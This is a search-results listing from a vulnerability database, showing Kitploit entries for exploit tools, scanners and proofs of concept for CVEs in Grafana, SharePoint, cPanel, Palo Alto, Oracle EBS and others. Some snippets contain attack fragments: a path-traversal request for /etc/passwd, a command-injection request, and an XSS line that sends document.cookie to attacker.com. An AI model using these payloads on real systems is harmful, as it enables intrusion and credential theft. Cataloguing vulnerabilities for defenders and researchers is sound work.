Lucene search
+L

2462660 matches found

Kitploit
Kitploit
•added 2026/09/24 4:08 p.m.•13 views

http-oracle-ebs-cve-2025-61882.nse

http-oracle-ebs-cve-2025-61882.nse Detects Oracle E-Business Suite CVE-2025-61882. Detection: multi-tier checks — fingerprinting, version checks, endpoint & SSRF tests, timing analysis & controlled exploitation 4 high-confidence results. Default = safe fingerprinting only. Set aggressive=true 2...

9.8CVSS8.1AI score0.99732EPSS
SaveExploits16
Kitploit
Kitploit
•added 2026/09/24 4:08 p.m.•25 views

xalgorix

Xalgorix — Open-source AI pentester that proves vulnerabilities Most scanners detect. Xalgorix proves. An autonomous LLM agent works a full pentest methodology, then an independent verifier re-exploits every finding before it's reported — so you get proof, not a pile of maybes to triage...

6.3AI score
SaveExploits0References9
Kitploit
Kitploit
•added 2026/09/24 4:08 p.m.•11 views

CVE-2021-43798-Grafana-File-Read

Grafana-File-Read Grafana Unauthorized File Read Affected versions: 8.0.0-latest poc: /public/plugins/icon/../../../../../../../../../../../../../../../../../../etc/passwd root@kitploit: GET /public/plugins/icon/../../../../../../../../../../../../../../../../../../etc/passwd HTTP/1.1 Host:...

7.5CVSS8.4AI score0.88503EPSS
SaveExploits48References1
Kitploit
Kitploit
•added 2026/09/24 4:08 p.m.•11 views

brutemap

Brutemap .. image:: https://brutemap-dev.github.io/static/brutemap-logo.jpg :target: https://brutemap-dev.github.io :alt: Logotipo de Brutemap |Build Status| |Python| |License| .. |Build Status| image:: https://travis-ci.org/brutemap-dev/brutemap.svg?branch=master :target:...

6.1AI score
SaveExploits0References6
Kitploit
Kitploit
•added 2026/09/24 4:08 p.m.•193 views

brutemap

Brutemap .. image:: https://brutemap-dev.github.io/static/brutemap-logo.jpg :target: https://brutemap-dev.github.io :alt: Brutemap Logo |Build Status| |Python| |License| .. |Build Status| image:: https://travis-ci.org/brutemap-dev/brutemap.svg?branch=master :target:...

5.5AI score
SaveExploits0References6
Kitploit
Kitploit
•added 2026/09/24 4:08 p.m.•12 views

CVE-2026-32201-exploit

Overview Python exploit for CVE-2026-32201 - improper input validation в Microsoft SharePoint Server, allowing unauthenticated network spoofing C:L/I:L. Affected: SharePoint Server 2016 Enterprise, 2019, Subscription Edition fetch'http://attacker.com/?c='+document.cookie" \ --endpoint...

6.5CVSS7.3AI score0.00983EPSS
SaveExploits1
Kitploit
Kitploit
•added 2026/09/24 4:07 p.m.•17 views

r0ak

r0ak r0ak es una utilidad de línea de comandos de Windows que permite leer, escribir y ejecutar código en modo kernel con algunas limitaciones desde el símbolo del sistema, sin necesidad de nada más que privilegios de Administrador. Primer vistazo root@kitploit: r0ak v1.0.0 -- Ring 0 Army Knife...

6.2AI score
SaveExploits0
Kitploit
Kitploit
•added 2026/09/24 4:07 p.m.•18 views

CVE-2026-22241

CVE-2026-22241 : Open eClass Remote Code Execution RCE This exploit uses CVE-2026-22241 automates the login, ZIP creation, upload process and providing webshell directly on the server and removes it automatically once the exploit is completed. Description An Unrestricted File Upload vulnerability...

8.6CVSS6.3AI score0.03311EPSS
SaveExploits3
Kitploit
Kitploit
•added 2026/09/24 4:07 p.m.•34 views

Log-4j-scanner

log4j-scan A fully automated, accurate, and extensive scanner for finding vulnerable log4j hosts Features Support for lists of URLs. Fuzzing for more than 60 HTTP request headers not only 3-4 headers as previously seen tools. Fuzzing for HTTP POST Data parameters. Fuzzing for JSON data parameters...

9CVSS7.4AI score0.99977EPSS
SaveExploits40
Kitploit
Kitploit
•added 2026/09/24 4:07 p.m.•14 views

Mass-Scanner-CVE-2026-1405

⚡ Mass-Scanner-CVE-2026-1405 Clean WordPress Mass Scanner for CVE-2026-1405 🧠 Overview A clean and lightweight scanner built to check CVE-2026-1405 exposure across multiple WordPress targets. It focuses on: fast multi-target scanning clean terminal output simple result classification easy usage f...

9.8CVSS6.2AI score0.03177EPSS
SaveExploits2
Kitploit
Kitploit
•added 2026/09/24 4:07 p.m.•19 views

CVE-2024-12986

CVE-2024-12986 Scanner and Exploit This repository contains a scanner and exploit for the CVE-2024-12986 vulnerability, which is a command injection vulnerability in the apmcfgupptim endpoint of DrayTek Gateway Devices. The vulnerability allows an attacker to execute arbitrary commands on the...

9.8CVSS7.8AI score0.32771EPSS
SaveExploits1
Kitploit
Kitploit
•added 2026/09/24 4:07 p.m.•23 views

cpanel-cve-2026-41940-ioc

CVE-2026-41940 IOC Scanner Detection script for the cPanel/WHM authentication bypass CVE-2026-41940 affecting all cPanel versions after 11.40. This is a rewrite of the upstream cPanel detection script with fixes for false positives and added log correlation. What it does Scans...

9.8CVSS8.6AI score0.98527EPSS
SaveExploits77
Kitploit
Kitploit
•added 2026/09/24 4:07 p.m.•14 views

CVE-2024-3400

CVE-2024-3400 CVE-2024-3400 Palo Alto OS Command Injection send this HTTP request: root@kitploit: POST /ssl-vpn/hipreport.esp HTTP/1.1 Host: 127.0.0.1 Cookie: SESSID=/../../../var/appweb/sslvpndocs/global-protect/portal/images/hellome1337.txt; Connection: close Content-Type:...

10CVSS8.8AI score0.99999EPSS
SaveExploits46
Kitploit
Kitploit
•added 2026/09/24 4:07 p.m.•10 views

CVE-2025-61882-Oracle-E-Business-Suite-Pre-Auth-RCE-Exploit

CVE-2025-61882 - Oracle E-Business Suite Pre-Auth RCE Exploit A critical pre-authentication Remote Code Execution RCE flaw in Oracle E-Business Suite versions 12.2.3–12.2.14 allows attackers to gain full control over vulnerable servers via malicious HTTP requests — now actively exploited in the...

9.8CVSS8.1AI score0.99732EPSS
SaveExploits16
Kitploit
Kitploit
•added 2026/09/24 4:07 p.m.•12 views

CVE-2021-45416

CVE-2021-45416 Reflected Cross-site scripting XSS vulnerability in RosarioSIS 8.2.1 allows attackers to inject arbitrary HTML via the searchterm parameter in the modules/Scheduling/Courses.php script. Vendor: francoisjacquet Vendor Website: https://www.rosariosis.org/ Affected Product: RosarioSIS...

6.1CVSS6.5AI score0.02327EPSS
SaveExploits2
Kitploit
Kitploit
•added 2026/09/24 4:06 p.m.•17 views

log4j-polkit-poc

log4j CVE-2021-44228 + polkit CVE-2021-4034 Vulnerable instance for the log4j apache exploit and privilege escalation using polkit The vulnable spring-boot-application.jar was extracted from this docker image The malicious JNDI server was downloaded from here and referenced in this article. PoC...

10CVSS8AI score0.99999EPSS
SaveExploits528References1
Kitploit
Kitploit
•added 2026/09/24 4:06 p.m.•13 views

CVE-2023-24055_PoC

CVE-2023-24055 PoC KeePass 2.5x Under discussion and analysis... https://sourceforge.net/p/keepass/discussion/329220/thread/a146e5cf6b/ https://sourceforge.net/p/keepass/feature-requests/2773/ An attacker who has write access to the KeePass configuration file can modify it and inject malicious...

5.5CVSS6.7AI score0.03691EPSS
SaveExploits2References2
Kitploit
Kitploit
•added 2026/09/24 4:06 p.m.•14 views

cpsniper

cPanelSniper CVE-2026-41940 — cPanel & WHM Authentication Bypass via Session-File CRLF Injection 4-stage exploit chain · Interactive WHM Shell · TRUE STABLE for 10M+ targets · Zero memory usage · stdlib only Overview cPanelSniper is a focused exploitation framework for CVE-2026-41940 , a critical...

9.8CVSS8.9AI score0.98527EPSS
SaveExploits77
Kitploit
Kitploit
•added 2026/09/24 4:06 p.m.•13 views

CVE-2026-29000

CVE-2026-29000 Exploit Generator Rust This repository contains a specialized Rust implementation for exploiting CVE-2026-29000, an authentication bypass vulnerability in pac4j-jwt. The vulnerability stems from a "Signature Validation Skip" when a PlainJWT alg: none is nested within an encrypted J...

9.3CVSS7.6AI score0.00483EPSS
SaveExploits17
Kitploit
Kitploit
•added 2026/09/24 4:06 p.m.•12 views

CVE-2026-22812

CVE-2026-22812 Overview A Python exploitation tool for OpenCode Remote Code Execution RCE vulnerability affecting versions v1.0.216. This tool provides multiple attack vectors including command execution, file read/write, file upload/download, and interactive shell. Disclaimer ⚠️ FOR AUTHORIZED...

8.8CVSS8.5AI score0.16771EPSS
SaveExploits7
Rows per page
Query Builder